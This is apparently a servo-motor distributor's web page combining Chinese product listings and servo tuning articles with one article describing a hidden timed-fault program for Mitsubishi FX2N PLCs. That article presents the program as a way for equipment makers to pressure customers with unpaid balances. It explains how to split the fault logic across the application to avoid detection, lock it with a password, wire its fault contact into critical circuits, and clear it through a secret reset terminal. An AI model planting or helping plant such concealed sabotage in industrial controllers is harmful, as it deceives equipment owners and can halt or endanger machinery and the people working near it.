华科星--电机智造筑梦者 伺服电机让自动化生产更简单高效
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  • 发布时间: 2018 - 07 - 11
    拓达自动化有限公司                                                                              拓达自动化有限公司(Tode Technoioies Co.,Ltd.)1980年成立于台湾新竹市,是专业从事电子自动化控制和制造的科技公司。我们基于客户的需求持续改善创新,力求提供全方位的自动化控制解决方案和产品来满足当今越来越高的自动化生产要求。与世界多家知名电机公司保持着长期的技术战略合作关系,近十年来通过产品不断发展革新已经行销全球50几个国家或地区;为了能更好满足内地客户的各种需求和提供更加专业及时的技术服务,公司已经于2008年在浙江嘉兴设立工厂并针对中国市场的发展趋势设计最适化产品,全方位的服务中国自动化机械制造业。拓达交流伺服电机SGES系列产品性能规格拓达工厂实拍伺服电机选型遇到困扰应用领域广泛(适用...
    通讯方式:有多种通讯方式,包括Ethercat、Canopen、Can、Modbus、Cw+Pul等;高可靠性:元器件使用寿命高达10年,为您的使用解除后顾之忧;应用功能齐全以及更加智能化的设置使之适应大范围不同客户的应用要求;
  • 发布时间: 2018 - 07 - 12
    额定电压:48v;额定功率:1000w;控制方式:位置(脉冲)、速度、转矩三种主流控制方式;通讯方式:RS232通讯控制;配置:2500线增量式编码器;耐低温伺服电机(支持零下40度)特点:低压直流供电;闭环控制;调速范围0-3000RPM;直流伺服电机广泛用于各种场合耐低温直流伺服在闸机的应用低温伺服直流伺服在医疗设备中的应用低温伺服直流伺服在机器人也普遍应用低温伺服直流伺服用于AGV搬运耐低温直流伺服的优势:
    拓达TSDA系统低温直流伺服驱动器、直流伺服电机,电压18~80VDC;反馈单元1000线、1250线、2500线;接收600KHZ脉冲频率;华科星电气主营产品:富士伺服电机,东元伺服电机,禾川伺服电机, 拓达伺服电机,拓达步进电机,中大行星减速机,博世力士乐变频器,安全光幕,传感器,开关电源等自动化集成产品。华科星免费提供伺服电机选型与产品技术支持,提供24V/36V/48V国产直流伺服电机,低温直流伺服驱动器,低压伺服电机厂家销售&终身维护,13602631692!
  • 发布时间: 2020 - 05 - 21
    拓达SGYSP伺服驱动器特点:·SGYSP主要适配1000W以上范围的大功率伺服电机,包括增量式及绝对式编码器。·具有高响应、高精度、高可靠性、内部抑震滤波功能。·驱动器内部可以预设多断点对点位置,无需脉冲也能轻松实现位置控制。·独有的负载惯量检测功能,可以更好的估算不同环境下的惯量要求,使设备轻松调节。拓达伺服细节展示拓达伺服电机应用领域广泛拓达伺服电机系统构成没有控制器,不会控制器编程怎么办?拓达工厂实拍
    SGYSP系列驱动器,拓达高性能驱动器,采用先进的制造工艺和质量管控体系使产品具有较高的稳定性,应用功能齐全以及更加智能化的设置使之适应大范围不同客户的应用要求。 SGYS主要适配1000W以上范围的大功率伺服电机,包括增量式及绝对式编码器。
  • 发布时间: 2020 - 05 - 21
    拓达SGAS伺服驱动器特点:·SGAS主要适配200W 到7.5KW范围的大功率伺服电机,包括增量式及绝对式编码器。·具有高响应、高精度、高可靠性、内部抑震滤波功能。·驱动器内部可以预设多断点对点位置,无需脉冲也能轻松实现位置控制。·独有的负载惯量检测功能,可以更好的估算不同环境下的惯量要求,使设备轻松调节。伺服电机选型遇到困扰高性能电机,将工作效率最大化应用领域广泛(适用于市场上所有的自动化设备)每年参加十余次展会走实力派路线20年生产制造经验
    拓达伺服电机驱动器采用先进的制造工艺和质量管控体系; 高响应:速度环响应频率达到800Hz,满足更高速度响应要求场合; 高精度:17bit高分辨率编码器对应,轻松应对各种高精度应用场合,更加精准平稳; 高可靠性:元器件使用寿命高达10年,为您的使用解除后顾之忧; 内部抑制滤波功能:
  • 发布时间: 2018 - 09 - 27
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。深圳华科星电气总代理,厂家直销,大量现货!
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华科星 - 定时触发故障PLC编程程序

日期: 2019-08-20
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华科星 - 定时触发故障PLC编程程序

PLC编程

一、定时触发故障PLC程序(PLC为实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!
   该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。
   该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。
   该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
   在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下:
   启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用sc09连接电缆或等同功能电缆,加接usb转rs232电缆(需要加安装驱动)等等>),然后点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC程序的当前软元件内存数据。所以,软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用另外一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。
   如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
  通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内
二、定时触发故障PLC程序(PLC非实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为另外一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为最后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)然后断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。
   该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。
   该程序动作后,PLC的系统时钟并非是实时时钟,因此程序中的其它地方或和PLC编程/PLC程序通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。

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2018 - 12 - 04
近日,公司邀请东元伺服电机老牌工程师为公司员工做东元伺服产品类型及应用环境做了培训与交流。     东元电机始建于1956年,经过多年的发展,现已成为全球前三大电机生产制造企业之一。生产电机品类齐全,认证齐全。并有变频器、东元伺服电机、减速机、PLC、人机界面等产品服务于工业传动与控制行业。        “伺服”—词源于希腊语“奴隶”的意思。人们想把“伺服机构”当个得心应手的驯服工具,服从控制信号的要求而动作。在讯号来到之前,转子静止不动;讯号来到之后,转子立即转动;当讯号消失,转子能即时自行停转。由于它的“伺服”性能,因此而得名——伺服系统。     电气伺服技术应用超广,主要原因是控制方便,灵活,容易获得驱动能源,没有公害污染,维护也比较容易。特别是随着电子技术和计算机软件技术的发展,它为电气伺服技术的发展提供了广阔的前景。     早在70年代,小惯量的伺服直流电动机已经实用化了。到了70年代末期交流伺服系统开始发展,逐步实用化,AC伺服电动机的应用越来越广,并且还有取代DC伺服系统的趋势成为电气伺服系统的主流。永磁转子的同步伺服电动机由于永磁材料不断提高,价格不断下降,控制又比异步电机简单,容易实现高性能的缘故,所以永磁同步电机的AC伺服系统应用更为广泛。    在交流同步伺服驱动系统中,普通...
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2019 - 12 - 07
闭环步进电机改变了很多运动控制应用中的性能-成本比。因为拥有出色的精度和能效,所以拓达步进电机能够用于过去以更昂贵伺服电机为主的领域。拓达闭环进步电机的成功也为让我们看到了一种可能——低成本的步进电机替代高成本伺服电机。在越来越多的高标准工业自动化应用领域,技术的进步正在改变步进电机和伺服电机之间的性能-成本比。步进电机与伺服电机之对比根据传统的观念,在需要速度超过800 RPM以及需要高动态响应的应用中,伺服控制系统性能更为出色。步进电机则更适合用于速度较低、低到中等加速度、需要较高保持转矩的应用。那么这种关于步进电机和伺服电机的传统观念的依据是什么呢?下面让我们来详细分析下。1、简便性和成本步进电机不仅比伺服电机成本低,而且调试和维护都更加简单。步进电机在静止状态是稳定的,并能保持位置(即使是采用动态负载)。不过,如果某些应用场合有更高的性能要求,则必须采用更昂贵、更复杂的伺服电机。2、结构步进电机采用步进方式转动,利用磁线圈逐步拉动一个磁体,使其从一个位置到达下一个位置。要使电机在任何方向移动100个位置,电路都需要对电机进行100次步进操作。步进电机利用脉冲实现递增运动,可以在不使用任何反馈传感器的情况下实现精确定位。伺服电机的运动方法是不同的。它在磁转子上连接一个位置传感器– 即编码器 – 会持续检测电机的准确位置。伺服会监控电机实际位置和指令位置之间的差异,并对电流进行...
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2018 - 10 - 11
伺服电机快速调试的方法:1、初始化参数    在接线之前,先初始化参数。在控制卡上:选好控制方式;将PID参数清零;让控制卡上电时默认使能信号关闭;将此状态保存,确保控制卡再次上电时即为此状态。    在伺服电机上:设置控制方式;设置使能由外部控制;编码器信号输出的齿轮比;设置控制信号与电机转速的比例关系。一般来说,建议使伺服工作中的最大设计转速对应9V的控制电压。2、接线    将控制卡断电,连接控制卡与伺服电机之间的信号线。以下的线是必须要接的:控制卡的模拟量输出线、使能信号线、伺服输出的编码器信号线。复查接线没有错误后,伺服电机和控制卡(以及PC)上电。此时伺服电机应该不动,而且可以用外力轻松转动,如果不是这样,检查使能信号的设置与接线。用外力转动电机,检查控制卡是否可以正确检测到电机位置的变化,否则检查编码器信号的接线和设置。3、试方向    对于一个闭环控制系统,如果反馈信号的方向不正确,后果肯定是灾难性的。通过控制卡打开伺服电机的使能信号。这是伺服应该以一个较低的速度转动,这就是传说中的“零漂”。一般控制卡上都会有抑制零漂的指令或参数。    使用这个指令或参数,看伺服电机的转速和方向是否可以通过这个指令(参数)控制。如果不能控制,检查模拟量接线及控制方式的参数设置。确认...
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东元电机之「超高功率密度暨智能马达」东元电机结合集团研发力量,历经两年成功研发「超高功率密度暨智能马达」,挑战全球355框号马达功率密度之上限。VHPD(Very High Power Density)马达除了超高功率密度外,也具备高效率、轻量小型化及智能健康管理等特色,特别适合搭配具紧凑型需求的风水力机产业设备,应用于炼油厂及电厂等大型厂区内,可减少空间运用并简化结构。VHPD马达不但拥有媲美IE4的超高效率,并内建集团相关企业东讯公司开发之智能健康管理系统,提供远距、即时维保,大量节省维运成本及能耗,为全球领先、且在国内独步业界之机电技术,符合东元「节能、减排、智能、自动」的目标,可望为营收成长增添动能,且为客户创造更大效益。东元电机表示,自2015年起,整合集团内各领域专业技术人才、资源,由刘兆凯副会长主持,成立「最高功率密度感应电动机」开发团队,并邀请由吴东权、吴静雄、罗仁权、黄明熙、陈金圣等国内首屈一指的专家学者,组成「前瞻技术委员会」定期审查并进行技术指导,展开为期逾两年的开发计划。本计划自始至终获得集团前后两任董事长刘兆凯及邱纯枝的坚定支持,并一同亲自参加评审委员会,为近两年来东元集团重大产品及技术开发项目。专案团队更与金属中心、工研院、虎门科技及台湾大学等产学界顶尖机构技术合作,发展包括「基因演算法」、「结构拓谱」、「模流分析」与「多重物理藕合分析」等各领域之先进技...
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随着自动化行业的发展,伺服电机的应用越来越广泛,种类也越来越多。下面小编跟大家说说伺服电机的种类和应用:      伺服电机产品种类繁多,根据型号、规格、功率、轴伸、绝缘、编码器、转速开关、热敏元件、加热带等参数的不同可划分出各种各样    伺服电机。为了简单的划分    伺服电机产品,一方面,按照行业惯例,将电机分为大型电机、中小型电机和微型电机;另一方面,按照    伺服电机专用性将电机分为普通标准电机和特殊专用电机。     伺服电机的应用范围非常广泛,覆盖生产生活的各个方面,不同的电机应着不同的功能要求而出现。机床、轧钢机、鼓风机、印刷机、水泵、抽油机、起重机、传送带、生产线等设备上大量使用电动机;高层建筑的电梯、滚梯由电动机牵引,宾馆自动门、旋转门也靠电动机驱动;电动汽车由电机驱动;医疗设备中的心电机、X光机、CT、牙科手术工具、渗析机、呼吸机、电动轮椅等等,也都离不开伺服电机作为动力。       华科星电气代理国内外各大伺服品牌电机,种类型号齐全,大量现货,价格优惠,欢迎前来咨询!    华科星电气主营产品:富士伺服电机,东元伺服电机,禾川伺服电机,拓达伺服电机,拓达步进...
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2018 - 11 - 20
伺服电机的电子齿轮比如何确定所谓“电子齿轮”功能,主要有两方面的应用:一是调整伺服电机旋转1圈所需要的指令脉冲数,以保证电机转速能够达到需求转速。例如上位机PLC最大发送脉冲频率为200KHz,若不修改电子齿轮比,则电机旋转1圈需要10000个脉冲,那么伺服电机最高转速为1200rpm,若将电子齿轮比设为2:1,或者将每转脉冲数设定为5000,则此时电机可以达到2400rpm转速。例如:电子齿轮比设为1:1或者每转脉冲数设为10000,上位机PLC最高发送脉冲频率为200KHz。1.伺服电机每转脉冲数和电子齿轮比的计算按照以下顺序,计算每转脉冲数或者电子齿轮比。(1)每转脉冲数和电子齿轮比都可以限定伺服电机旋转1圈所需的指令量,两者是互补关系,但是每转脉冲数的优先级要高于电子齿轮比,只有每转脉冲数设定为0的情况下电子齿轮比才会生效,这是用户需要注意的。特殊情况若算得每转脉冲数为小数时就要考虑使用电子齿轮比。(2)P2-02和P2-03超过设定范围时,请将分子分母约分成可设定范围内的整数在进行设定。在不改变比值情况下的约分不影响使用。(3)不加特殊说明现出场的电机编码器分辨率均为2500P/R。(4)指令单位并不代表加工精度。在机械精度的基础上细化指令单位量,可以提高伺服电机的定位精度。比如在应用丝杠时,机械的精度可以达到0.01mm,那么0.01mm的指令单位当量就比0.1mm的指...
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